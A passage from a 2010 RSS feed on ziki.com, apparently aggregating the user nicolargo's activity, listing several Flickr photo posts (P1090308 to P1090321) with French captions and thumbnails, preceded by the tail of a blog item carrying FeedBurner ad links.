  <a href="http://feedads.g.doubleclick.net/~a/pWuqMwL9Pln16fYwRjyCpdkxP4o/1/da"><img src="http://feedads.g.doubleclick.net/~a/pWuqMwL9Pln16fYwRjyCpdkxP4o/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=2pv3QJ7PpTM:qrkGKcM5eZA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=2pv3QJ7PpTM:qrkGKcM5eZA:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=2pv3QJ7PpTM:qrkGKcM5eZA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=2pv3QJ7PpTM:qrkGKcM5eZA:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Wed, 13 Jan 2010 06:29:44 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11722336</guid>
    </item>
    <item>
      <title>P1090321</title>
      <link>http://www.flickr.com/photos/nicolargo/4265953385/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265953385/" title="P1090321"><img src="http://farm3.static.flickr.com/2721/4265953385_e3b253d78b_m.jpg" height="135" alt="P1090321" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:45:43 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706824</guid>
    </item>
    <item>
      <title>P1090319</title>
      <link>http://www.flickr.com/photos/nicolargo/4266699140/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4266699140/" title="P1090319"><img src="http://farm5.static.flickr.com/4003/4266699140_3164379ba0_m.jpg" height="135" alt="P1090319" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:45:33 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706825</guid>
    </item>
    <item>
      <title>P1090317</title>
      <link>http://www.flickr.com/photos/nicolargo/4265952639/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265952639/" title="P1090317"><img src="http://farm5.static.flickr.com/4015/4265952639_e74abf4e88_m.jpg" height="135" alt="P1090317" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:45:24 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706826</guid>
    </item>
    <item>
      <title>P1090316</title>
      <link>http://www.flickr.com/photos/nicolargo/4265952265/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265952265/" title="P1090316"><img src="http://farm5.static.flickr.com/4047/4265952265_3bb792a583_m.jpg" height="121" alt="P1090316" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:45:15 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706827</guid>
    </item>
    <item>
      <title>P1090314</title>
      <link>http://www.flickr.com/photos/nicolargo/4265951979/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265951979/" title="P1090314"><img src="http://farm5.static.flickr.com/4039/4265951979_b0eb73197c_m.jpg" height="135" alt="P1090314" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:45:08 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706828</guid>
    </item>
    <item>
      <title>P1090312</title>
      <link>http://www.flickr.com/photos/nicolargo/4266697732/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4266697732/" title="P1090312"><img src="http://farm5.static.flickr.com/4030/4266697732_0f22ebb324_m.jpg" height="135" alt="P1090312" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:44:59 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706830</guid>
    </item>
    <item>
      <title>P1090311</title>
      <link>http://www.flickr.com/photos/nicolargo/4265951243/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265951243/" title="P1090311"><img src="http://farm5.static.flickr.com/4025/4265951243_ae6e628f65_m.jpg" height="240" alt="P1090311" width="135" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:44:50 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706832</guid>
    </item>
    <item>
      <title>P1090310</title>
      <link>http://www.flickr.com/photos/nicolargo/4265950889/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265950889/" title="P1090310"><img src="http://farm3.static.flickr.com/2726/4265950889_5c1f223512_m.jpg" height="135" alt="P1090310" width="240" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:44:41 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706834</guid>
    </item>
    <item>
      <title>P1090308</title>
      <link>http://www.flickr.com/photos/nicolargo/4265950601/</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://www.flickr.com/people/nicolargo/">nicolargo</a> a posté une photo&nbsp;:
</p>
<p>
  <a href="http://www.flickr.com/photos/nicolargo/4265950601/" title="P1090308"><img src="http://farm5.static.flickr.com/4023/4265950601_520ec319ff_m.jpg" height="240" alt="P1090308" width="135" /></a>
</p>
</div>]]>
      </description>
      <pubDate>Mon, 11 Jan 2010 18:44:32 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11706835</guid>
    </item>
  </channel>
</rss>
